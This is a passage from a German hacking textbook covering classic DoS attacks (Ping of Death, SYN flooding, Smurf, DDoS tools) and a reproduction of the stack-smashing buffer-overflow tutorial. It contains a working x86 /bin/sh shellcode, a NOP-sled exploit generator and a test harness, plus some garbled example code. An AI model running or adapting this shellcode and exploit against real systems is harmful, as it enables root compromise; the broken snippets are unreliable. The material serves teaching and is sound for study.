 10.2 Out-of-Band-Packets – »Das Nuken« Zu einer der bekanntesten DoS-Attacken gehört das Nuken oder Versenden von Out-of-Band-Packets. OOB ist ein Feature von TCP/IP und wird auch mit diesem Protokoll über-tragen. Es erlaubt die Übertragung von Daten außerhalb der normalen Reihenfolge und kommt unter anderem bei Telnetsitzungen zum Einsatz.
 Durch eine fehlerhafte Implementierung in NetBEUI durch Microsoft wurde die Ver-wendung von Out-of-Band-Packets für DoS-Attacken möglich. Kompromittiert man die Ports 135 und 139 mit einer für sie nicht definierbaren Zeichenfolge, so wird das System abstürzen. Microsoft erkannte diesen Fehler und machte sowohl Windows 98/98SE/Me als auch 2000 resistent gegen diese Angriffe. Deshalb werden Out-of-Band-Packets zum Attackieren von Systemen wie z.B. WinGates verwendet. Das sind weiter-verbindende Programme, die den Port 23 ansprechen.
 Um beispielsweise WinGates 4.01 zu attackieren, würde man so vorgehen: Es werden rund 100 Verbindungen zu dem WinGate hergestellt und jeweils etwa 40.000 Zeichen gesendet. Der WinGate-Server nimmt nun an, dass jede der Verbindungen bestehen bleibt, und die Datenmenge summiert sich, bis der Buffer des Servers aufgebraucht ist. Versucht sich nun z.B. der Administrator einzuloggen, bekommt er die Fehlermeldung »out of buffer«.
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 Bild 10.1: Zwei der bekanntesten Nuker
 10.3 Large Packet-Attacks oder Ping of Death Eine besonders fatale Art der Denial of Service-Attacke ist der »Ping of Death«. Dieser hat allerdings nichts mit dem eigentlichen Ping-Befehl, der im Verlauf dieses Kapitels noch angesprochen wird, zu tun.
 Das Internet Protokoll verpackt ein einzelnes Paket in genau 65535 Bytes inklusive Header, Ethernet-Pakete sind sogar nur 1500 Bytes groß. Größere Pakete werden fragmentiert bzw. zerlegt, um sie einfacher zu übertragen, und dann wieder reassembliert (zusam-mengesetzt). Dies geschieht, um die verschiedenen Netzwerkschichten zu überwinden.
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 Dabei erhält jedes Paketfragment einen Offset-Wert und eine Identifikationsnummer. Das erste Paket erhält zudem einen TCP-Header und die Port-Nummer, wodurch be-stimmt wird, um was für ein Paket es sich handelt. Durch diese Tatsache wird es mög-lich, dem letzten Fragment einen Offset-Wert zu geben, der das gesamte Paket größer erscheinen lässt als 65535 Bytes. Dieses übergroße Paket verursacht im System einen Buffer-Overflow und bringt den Rechner zum Abstürzen. Ping-of-Death-Angriffe sind bei folgenden Protokollen möglich: ICMP, UDP und TCP.
 Bild 10.2: Kurz vor dem Todesstoß...
 10.4 Land-Attacken Land-Attacken nutzen einen Fehler in der TCP-Implementierung aus, um ein System mit einer enormen Datenflut zu kompromittieren und es durch die Auslastung zum Ab-sturz zu bringen. Dies funktioniert wie folgt:
 Versucht ein Rechner, eine Verbindung zu einem anderen aufzubauen, so sendet er spe-zielle IP-Pakete, die eine Verbindung ankündigen, auch SYN-Pakete genannt. Der Emp-fänger reagiert darauf und verschickt eine Antwort mittels ACK-Paket (ACK = Acknow-ledgement = Empfangsbestätigung). Dieser Vorgang wird auch Three-Way-Handshake genannt (Näheres dazu finden Sie im Grundlagen-Kapitel). Führt ein Angreifer nun eine Land-Attacke durch, nutzt er den angesprochenen Fehler in der Protokoll-Implementie-rung aus, indem er SYN-Pakete mit einem gefälschten Absender an einen Server schickt. Die Absender-Adresse ist dabei mit der des Adressaten identisch. Der Server reagiert auf jedes SYN-Paket mit einem ACK-Paket. Anschließend wird dieses Paket als Antwort an einen eigenen offenen Port gesendet, wo es durch die vielen IP-Stacks eine Art Überlauf erzeugt, und dadurch das System des Opfers lahm legt.
 Diese Art von Angriff wird allerdings heute von den meisten Betriebssystemen aufgrund vorhandener Bugfixes abgefangen.
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 10.5 TCP-Syn-Flooding Wie schon bei den Land-Attacken besprochen findet beim Erstellen einer Verbindung zwischen zwei Computern via TCP/IP zuerst ein Three-Way-Handshake zwischen den Beteiligten statt. Bei einer TCP-Syn-Flooding-Attacke sendet der Angreifer zunächst ei-ne Vielzahl so genannter SYN-Pakete oder ein einfaches »Ich will mit dir reden« mit fal-scher Absenderadresse an den Host. Der Sinn besteht darin, dass der Host versucht, das Paket mit einem ACK-Antwortpaket »Ok, ich bin bereit« zu beantworten und eine Ver-bindung herzustellen. Dieser Versuch bleibt aufgrund des falschen Absenders erfolglos und der Rechner wird nach einiger Zeit des Wartens den Versuch als erfolglos vermer-ken. Wird diese Wartezeit ausgenutzt, um den Host mit einer Unmenge weiterer SYN-Pakete zu bombardieren, wird dieser nach kurzer Zeit seinen Dienst quittieren.
 Hier der schematisierte Verlauf einer solchen Attacke:
 ■
 ■
 ■
 ■
 ■
 ■
 Der Angreifer sendet SYN 1.
 Der Host antwortet auf SYN 1, verschickt ACK 1 und wartet auf eine Antwort.
 Der Angreifer sendet SYN 2.
 Der Host antwortet auf SYN 2, verschickt ACK 2 und wartet auf Antworten auf ACK 1 und 2.
 Der Angreifer sendet SYN 3.
 usw.
 Auch gegen diese Angriffe ist seit längerem ein Bugfix erhältlich.
 10.6 Ping-Flooding Pings werden im Internet und im Netzwerk benutzt, um die Erreichbarkeit eines Hosts festzustellen. Pingt man einen Host an, antwortet dieser bei Erreichbarkeit mit einer echo-artigen Antwort. Dies machen sich die Angreifer beim Ping-Flooding zunutze. Sie bom-bardieren das Ziel mit Pings, die der angepingte Host alle zu beantworten versucht. Ist die Wiederholungsrate hoch genug, kann der Host keine weiteren Anfragen beantwor-ten. Daneben machen sich Ping-Flooding-Attacken für die Opfer bei Ihren Providern bemerkbar, wenn diese nach Traffic abrechnen.
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 10.7 Smurf Beim Smurf schickt der Angreifer an die Broadcoast-Adresse eines Netzwerkes einen Ping mit manipulierter Absender-Adresse, dabei erzeugt jeder Rechner hinter dieser Broadcoast-Adresse eine Antwort. Dies ergibt eine nicht unbedeutende Menge von Ant-worten. Die veränderte Absender-Adresse, die des Opfers, führt dazu, dass das Opfer sämtliche Antworten erhält. Sendet man auf diese Weise 1.000 Pings pro Sekunde an 1.000 verschiedene Rechner, bekommt das Opfer demnach mehr als 1.000.000 Antwor-ten. Das kompromittierte System würde unter der Last der eingehenden Daten buch-stäblich zusammenbrechen. Der Server muss nach solchen Attacken meist vollständig vom Netz genommen werden.
 Mit Smurf können selbst Angreifer mit sehr geringer Übertragungskapazität (Modem- oder ISDN-Anschluss) Opfer mit Breitbandanschluss in die Knie zwingen.
 10.8 DDoS – Distributed Denial of Service-Attacke Beim DDoS verschafft sich der Angreifer vor der eigentlichen Attacke Zugriff auf etliche andere Systeme und benutzt diese dann dazu, sein Opfer mit einer großen Menge von Paketen zu konfrontieren. Die Vorbereitung besteht darin, so viele Systeme wie möglich zu finden, auf denen die administrativen Rechte gesichert werden können, um die Scripts für den Angriff auf die Rechner zu laden. Hierfür scannt der Angreifer nach feh-lerhaften Systemen (Näheres dazu im Kapitel Scanning). Um den Zugriff zu realisieren, platziert der Angreifer auf diesen Systemen Trojaner, so dass er die Rechner fernsteuern kann. Näheres zu den Trojanern finden Sie im entsprechenden Kapitel.
 Sind genügend Vasallen gefunden, werden diese mit Scripten oder Programmen beladen und das Opfer wird mit einer Flut von Paketen überschüttet, unter der es zusammen-bricht. Seit den bekanntesten Angriffen mit DDoS im Februar 2000 auf Yahoo, eBay und Co. erfreut sich diese Methode größter Beliebtheit, so dass die Anzahl von Tools für die-se Art von Angriffen ständig wächst. Zu ihnen zählen z.B. Trinoo, Stacheldraht und TFN, um nur die bekanntesten zu nennen.
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 Bild 10.3: Vorbereitung mit Trinoo
 10.9 Schutz gegen DoS-Attacken Der Rechner des Normalanwenders kann nicht nur Opfer einer DoS-Attacke sein, son-dern auch von Angreifern dazu ausgenutzt werden, diese Attacken auf anderen Syste-men durchzuführen. Die Scripte bzw. Programme werden meist mit Hilfe von Trojani-schen Pferden auf den Systemen installiert. Daher ist es unerlässlich, einen aktuellen Vi-renscanner installiert zu haben.
 Schutz vor den DoS-Attacken selbst bieten in jedem Fall richtig konfigurierte Firewalls. Mit ihrer Hilfe werden veränderte Paket abgefangen und es wird verhindert, dass es zu einer Weiterverarbeitung kommt.
 Ob Server oder Normalanwender – in jedem Fall gilt es, sich immer über Sicherheitsup-dates der jeweiligen Betriebssysteme zu informieren. Früher oder später werden neue si-cherheitsrelevante Schwachstellen in den Betriebssystemen und der Serversoftware ent-deckt, für die meist kurze Zeit später ein Update bereitsteht. Um in Sachen Schwachstel-len immer auf dem Laufenden zu bleiben, empfiehlt es sich, Mailinglisten des Computer Emergency Response Teams (CERT) unter http://www.cert.org und der Hersteller zu abonnieren. Diese informieren sofort über die Entdeckung neuer Schwachstellen und bieten Bezugsquellen für die entsprechenden Updates an.
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1111 Buffer-Overflow
 1996 schrieb der Moderator der Bugtraq Mailing-List AlephOne einen Artikel namens »Smashing the Stack for Fun and Profit«. Darin wurde beschrieben, wie schlechte Pro-grammierungen zu Sicherheitslücken führen können, die dann durch Pufferüberlaufan-griffe bzw. Buffer-Overflow-Attacks ausgenutzt werden können.
 Buffer-Overflow-Attacks werden dazu genutzt, Angriffe auf Netzwerk-Server zu führen. Damit können aufeinander aufbauende Ziele verfolgt werden: z.B. einen gewissen Dienst zum Absturz zu bringen, um dann an erweiterte Rechte auf dem Server zu kommen. Das macht man, indem man die Rechte des abgebrochenen Dienstes erbt. In einigen Fällen kann dies bis zu Root-Rechten führen, mit denen man die Kontrolle über den ganzen Rechner besitzt. Man kann diese Angriffe aber auch dazu nutzen, eine Web-Site zum Er-liegen zu bringen.
 Das interessanteste an diesen Angriffen ist die Standortunabhängigkeit bei den Buffer-Overflow-Attacken. So hat man entweder die Möglichkeit, mittels physischem Zugriff auf den Server oder aber per Remote-Zugriff einen Angriff durchzuführen.
 11.1 Speicherverwaltung des Betriebssystems Anhand dieser Skizze soll der Speicheraufbau eines Betriebssystems veranschaulicht werden.
 Niedriger Speicher TEXT
 initialisierte Daten
 Uninitialisierte Daten
 Hoher Speicher STACK
 Bild 11.1: Speicheraufbau
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 11.1.1 Text
 Der Speicherbereich, der einem Programm zugeordnet wird, ist in mehrere Teile aufge-teilt. Im niedrigen Speicher bzw. dem Text-Teil werden nur Zeichenketten gespeichert, z.B. der Hilfe Text, den ein Programm ausgibt. Diese Zeichenketten werden vom Be-triebssystem als »readonly« gehandhabt, das heißt, sie können nicht verändert werden. Andere Zugriffe, die über das Lesen des Texts hinausgehen, werden als »segmentation fault« beendet.
 11.1.2 Daten
 Der Daten-Teil unterteilt sich in initialisierte und uninitialisierte Daten, die als »static« deklariert werden. Die Größe dieses zugeordneten Bereiches kann mit dem Befehl »brk« herausgefunden werden.
 11.1.3 Der Stack (dt.: Haufen/Stoß/Stapel)
 Den Stack kann man sich als einen Blätterstapel vorstellen, bei dem es folgende Reihen-folge gibt: oben liegt Blatt Nr. 10, unten liegt Blatt Nr.1. Der Stack ist dabei der Bereich des Speichers, in dem die Daten der normalen Variablen gespeichert werden. Er arbeitet nach dem LIFO-Verfahren (last in, first out) im Gegensatz zum FIFO-Verfahren (first in, first out) wie beispielsweise bei Pipes. Das bedeutet, dass die Elemente, die ganz oben liegen (also zuletzt dazukamen), als erstes wieder entfernt werden. Die wichtigsten As-semblerbefehle zum Bearbeiten des Stacks sind PUSH (legt Daten auf den Stack drauf) und POP (liest das oberste Element des Stacks).
 Die Adresse, an die der Programmablauf springt, wenn die Prozedur oder Funktion ab-gelaufen ist, wird unter anderem auch im Stack gespeichert. Doch dazu später mehr.
 11.2 Buffer-Overflow-Angriffe Im Prinzip geht es bei einem Buffer-Overflow nur darum, mehr in den Puffer zu schrei-ben, als dieser verarbeiten kann.
 Leider ist es so, dass die zusätzlichen Daten, die nicht mehr in den Puffer passen, trotz-dem noch hineingeschrieben werden und nicht, wie man meinen würde, verworfen werden. Dadurch geschieht es, dass die Datenmenge weit über das Ende des Puffers hin-ausragt in einen Bereich, der nicht mehr diesem Puffer zugeordnet ist, sondern schon zu anderen Variablen gehört. Dabei überschreiben die Daten alles, was sie vorfinden, nur um den nötigen Platz zu erhalten. Natürlich führt dies zu Fehlern und letztendlich zum Fehlverhalten des Programms, dem eigentlichen Buffer-Overflow.
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 Hier ein Beispiel eines solchen Codes:
 void main() { // die Variable ToGreat wird mit 256 Bytes initialisiert char ToGreat[256];
 // Laufvariable int i;
 // eine Schleife die den Speicherbereich mit A's füllt for( i = 0; i < 255; i++) { large_string[i] = 'A'; } OverFlow(ToGreat); } // Hier ist die Funktion die den eigentlichen Fehler verursachen wird void Overflow(char *string) { // Der Puffer ist kleiner als die ToGreat Variable, die übergeben wurde char ToLittle[16]; // man versucht Puffer mit 256 Bytes vollzuschreiben obwohl nur 16 Bytes möglich // wären, dadurch wird der Bereich dahinter überschrieben strcpy(ToLittle, string); }
 11.2.1 Wie kann man sich das zunutze machen?
 Will ein Angreifer ein Programm durch einen Buffer-Overflow zum Absturz bringen, so muss er lediglich so lange in den Puffer schreiben, bis dieser gefüllt ist, und zum Ab-schluss noch eine Portion Daten drauflegen. Das sichere Ergebnis werden eine Speicher-schutzverletzung und der Absturz dieses Programms sein.
 Baut der Angreifer eine Verbindung zum Host auf und sendet eine lange Zeichenkette an ein bestimmtes Programm, stürzt dieses ab. Doch durch bestimmte Eingaben ist es noch möglich, einen Code auf dem instabilen System auszuführen. Hierbei sind Angrei-fer vornehmlich daran interessiert, eine Shell (Eingabeaufforderung) mit Root-Rechten auf dem System zu öffnen. Es gibt viele so genannte Exploit-Codes, die darauf abzielen, mit Hilfe eines Buffer-Overflows eine Shell mit Root-Rechten zu »erben«.
 Damit übernimmt man die Kontrolle über den Rechner.
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 Nun fragt man sich vielleicht, warum Programme überhaupt mit Root-Rechten laufen müssen. Das hat folgenden Hintergrund: manche Funktionen wie raw Sockets oder der Zugriff auf bestimmte Systemressourcen wie Ports unter 1024 oder Geräte benötigen Root-Rechte. Ein Beispiel für ein solches Programm, das mit Root-Rechten läuft, aber von jedem Benutzer gestartet werden kann, ist ping. Es hat das sog. SUID-Bit gesetzt, das bedeutet, dass das Programm mit den Rechten des Besitzers, nicht denen des Benutzers, läuft. Vor allem bei SUID-Programmen, die Root gehören, ist dies interessant. Nun ist sicher einleuchtend, dass ein solches Prgramm eine potentielle Sicherheitsgefahr darstel-len kann, denn die Prozesse, die als Root laufen, sind insofern begrenzt, als dass der Sys-admin wissen sollte, was zur Bootzeit gestartet wird. Wenn nun jedoch jeder Benutzer Programme mit Root-Rechten laufen lassen kann, steigt natürlich die Zahl an möglichen Fehlerquellen gewaltig.
 11.2.2 Wie funktioniert das nun genau?
 Unter Shellcode versteht man Assembler-Code, der das Programm dazu nötigt, eine Shell zu erzeugen. Der Sinn und Zweck des Shellcodes ist es, so platziert zu werden, dass er anstelle des Hauptprogramms ausgeführt wird, wenn der Programmfluss von einer Prozedur oder Funktion zurückkehrt.
 Zum Verständnis sind spätestens ab hier fundierte Assembler- und Shellscript-Kenntnisse nötig – sonst funktioniert es einfach nicht! Zum Nachvollziehen sollte man weiterhin Linux haben, damit man die nötigen Programme (GCC=GNU C Compiler, GDB=GNU Debugger) ausführen kann. Anhand von Quelltexten wird gezeigt, dass nicht immer wahllos beliebige Programmteile überschrieben werden, sondern die Ad-resse des Rücksprungpunkts der Funktion gezielt verändert wird.
 Ein Quelltext zur Erläuterung:
 exploit3.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90
 Man kann mit Begriffen wie »DEFAULT_OFFSET« arbeiten und den Code lesbarer ma-chen, weil man weniger Zahlen benutzt, außerdem ist es wichtig zu erwähnen, dass der NOP-Code nur auf Intel-CPU's 0x90 lauffähig ist.
 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
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 Der Variablen Shellcode wird ein Wert zugewiesen, der Shellcode ist nur »/bin/sh«, der Rest ist Assembler.
 unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }
 Variable »get_sp« wird mit Assemblercodes versehen}
 void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i;
 Variablen werden Werte zugewiesen
 if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset;
 Der Wert von »Offset« ist 0
 printf("Using address: 0x%x\n", addr);
 "Using address: 0x%x\n" wird ausgegeben und dann folgt der Wert von »addr«
 ptr = buff;
 »ptr« entspricht »buff«
 addr_ptr = (long *) ptr;
 Zeiger auf die Adresse von »ptr«.
 for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;
 Pointer auf die Stelle von »addr_ptr«, da man die Adresse von »addr_ptr« mit jedem Schleifendurchlauf inkrementiert, geht der Pointer jedesmal ein Byte weiter.
 for (i = 0; i < bsize/2; i++) buff[i] = NOP;
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 Man schreibt die NOP-Codes in den Speicher bis zur Hälfte der Puffergröße.
 ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
 Man schreibt die Shellcodes in den Speicher.
 buff[bsize - 1] = '\0';
 Man setzt nun den Endbyte.
 memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); }
 Dieser Code ist noch nicht fertig, weil man die Stelle, an dem der Shellcode im Speicher steht, nicht erkennt. Deshalb muss man schon sehr genau raten, um die richtige zu tref-fen. Natürlich werden durch den Angreifer mehrere NOP-Codes eingebaut. Bei einem echten Exploit sind das meist mehr als 100 bis 1000 NOP-Codes, um die Trefferchancen zu verbessern.
 11.2.3 Was muss bei der Variablen Shellcode stehen?
 Zur Hilfe sollte man jetzt auf jeden Fall ein GDB zur Hand nehmen!
 shellcode.c #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
 Um uns anzusehen, wie der Quelltext in Assembler aussieht, werde ich ihn starten und mit Hilfe von GDB analysieren. Dazu muss man das Programm zunächst mit GCC kompilieren. Das Kommando ist wie folgt:
 gcc -o shellcode -ggdb -static shellcode.c
 Jetzt startet man GDB:
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 gdb shellcode
 GDB ist eine kostenlose Software und man kann davon sogar Kopien machen!
 (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp
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 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump.
 Um das zu verstehen, analysiert man zuerst »main«:
 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp
 Das war der Anfang der Prozedur. Der alte Frame-Pointer wird gespeichert und ein neu-er Frame-Pointer erstellt, der Platz für lokale Variablen lässt. In diesemFall ist es:
 char *name[2]; 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
 Man kopiert den Wert 0x80027b8 (die Adresse von "/bin/sh") in den ersten Pointer of name[]. Das ist gleichbedeutend mit:
 name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp)
 Man kopiert den Wert 0x0 (NULL) in den zweiten Pointer von name[]. Das ist gleich-bedeutend mit:
 name[1] = NULL;
 Der Aufruf für execve() beginnt hier.
 0x8000144 : pushl $0x0
 Man pusht die Argumente zu execve() in umgekehrter Reihenfolge in den Stack. Man beginnt mit NULL.
 0x8000146 : leal 0xfffffff8(%ebp),%eax
 Man lädt die Addresse von name[] in das EAX Register.
 0x8000149 : pushl %eax
 Man pusht die Addresse von name[] in den Stack.
 0x800014a : movl 0xfffffff8(%ebp),%eax
 Man lädt die Adresse des Strings "/bin/sh" in das EAX Register.
 0x800014d : pushl %eax
 Man pusht die Addresse des Strings "/bin/sh" in den Stack.
 0x800014e : call 0x80002bc <__execve>
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 Der Aufruf der Library Prozedur execve(). Dieser pusht den Instruction Pointer auf den Stack.
 Nun execve(). Alle Vorgänge sind abhängig vom Betriebssystem.
 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx
 Der Prozeduranfang
 0x80002c0 <__execve+4>: movl $0xb,%eax
 Man kopiert 0xb auf den Stack. Das ist der Index, in der syscall-Tabelle. 11 ist execve.
 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
 Man kopiert die Adresse von "/bin/sh" in den EBX.
 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
 Man kopiert die Adresse von name[] in den ECX.
 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
 Man kopiert die Adresse des Null Pointer in den EDX.
 0x80002ce <__execve+18>: int $0x80
 Man wechselt in den Kernelmodus.
 Das war eigentlich alles über den Aufruf von execve(). Was passiert aber, wenn er fehl-schlägt ?
 Das Programm würde unaufhörlich weiterhin Dateien aus dem Stack holen, die dann andere Dateien enthalten können. Keine feine Sache. Natürlich versucht der Angreifer, ein solches Programm sauber zu programmieren. Man kann das z.B. erreichen, indem man einen exit syscall hinzufügt:
 exit.c #include void main() { exit(0); } gcc -o exit -static exit.c gdb exit (no debugging symbols found)... (gdb) disassemble _exit
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 Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. Der Exit syscall wird 0x1 im EAX platziert, das ist der exit code, und dann muss man »int 0x80« ausführen. Die meisten Programme geben 0 zurück, um anzuzeigen, dass es keinen Error gab.
 Zusammengefügt sieht das folgendermaßen aus:
 Man platziert den String hinter dem Code, selbstverständlich platziert man die Adresse des Strings und den Endbyte null hinter den Array. Das ergibt:
 movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here.
 Da man nie genau weiß, wo genau im Speicher unser Exploitcode platziert wird, werden bestimmte Befehle zur Erleichterung benutzt. Durch jump und call kann man Befehle nutzen, durch die man relative Adressen erhalten kann. Wenn man einen Call-Befehl vor den String "/bin/sh" setzt und einen Jump-Befehl zu dem Call-Befehl, wird die Stringadresse als Rückkehradresse gesetzt, wenn Call ausgeführt wurde. Alles was man jetzt machen muss, ist die Rückkehradresse in das Register zu kopieren.
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 J steht hier für Jump und C für Call. Der Programmfluss sieht folgendermaßen aus:
 bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
 memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
 buffer sfp ret a b c
 <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
 ^|^ ^| |
 |||_____________||____________| (1)
 (2) ||_____________||
 |______________| (3)
 top of bottom
 of
 stack
 stack
 Der Programmcode nach diesen Modifikationen:
 jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi) # 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here.
 Wenn wir die Offsets von Jump nach Call, von Call nach popl, von der String-Adresse zum Array und von der Stringadresse zu Null einberechnen, erhält man:
 jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes
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 movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call 0x2b # 5 bytes string \"/bin/sh\" # 8 bytes
 Um auszutesten, ob der Code funktioniert, kann man den Code kompilieren und dann testen. Ein Problem gibt es aber! Dieser Code ändert sich eigenständig. Viele Betriebssys-teme lassen das wiederum nicht zu. Daher muss man den Code, den man ausführt, in ein Dateisegment oder den Stack packen und dann die Transferkontrolle benutzen. Um das zu erreichen, platziert man den Code in einem globalen Array im Dateisegment. Zu Beginn muss man aber eine Hex-Repräsentation des Binärcodes haben.
 Wenn das erledigt ist, kann man alles kompilieren und benutzt dann wieder GDB, um Folgendes zu bekommen.
 Problem instruction: Substitute with: ------------------------------------------------------------------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) ------------------------------------------------------------------------------------------------------------------- movl $0xb,%eax movb $0xb,%al ------------------------------------------------------------------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %ea Der Code:
 shellcodeasm.c void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes
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 movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes string \"/bin/sh\" # 8 bytes # 46 bytes total "); } Das Testprogramm:
 testsc.c char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
 Mit diesen Schritten kommt man zu den Shellcodevariablen. Zwar vielleicht ein wenig verwirrend, aber im Endeffekt mit Assembler-Kenntnissen nachvollziehbar.
 11.3 Opfer für Buffer-Overflows Für diese Attacken braucht man also einen Buffer, den man über das Ende hinaus voll schreiben kann, dies ist natürlich ein sehr fataler Programmierfehler. Der Fehler liegt je-doch meist nicht am Programmierer selbst, er braucht nur ein paar Bibliotheksfunktio-nen zu verwenden und schon hat sein Programm diese Probleme. Die in den Biblio-theksfunktionen enthaltenen Befehle gets(), sprintf(), vprintf(), strcat(), strcpy() und
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 scanf() achten nicht darauf, wie groß der vorhandene Puffer ist. Die Befehle lesen ein-fach bis zu einem Null-Zeichen (\0), das Ende eines Null-terminierten markierten Pro-gramms. Nun kann der String jedoch zu lang sein, und das \0 liegt weit hinter dem Ende des Buffers. Das einfachste ist nach solchen Funktionen im Source-Code zu suchen, der z.B. bei Linux-Programmen frei zugänglich ist. Die zweite Methode, einen Buffer mit Ein-gaben zu füllen, ist eine Schleife, die einzelne Zeichen liest und in einen Buffer schreibt.
 Ein Beispiel:
 #include <stdio.h> int main() { char buffer[50]; int i = 0; while ( (buffer[i] = fgetc(stdin)) != '\n') i++; buffer[i] = '\0'; printf("->%s<-\n", buffer); return 0; }
 Hier wird ein Puffer von 50 Zeichen angelegt, dann wird so lange in diesen Puffer ge-schrieben, bis das Zeilenende erreicht ist.
 Hier ein Beispiel mit mehr als 50 Zeichen
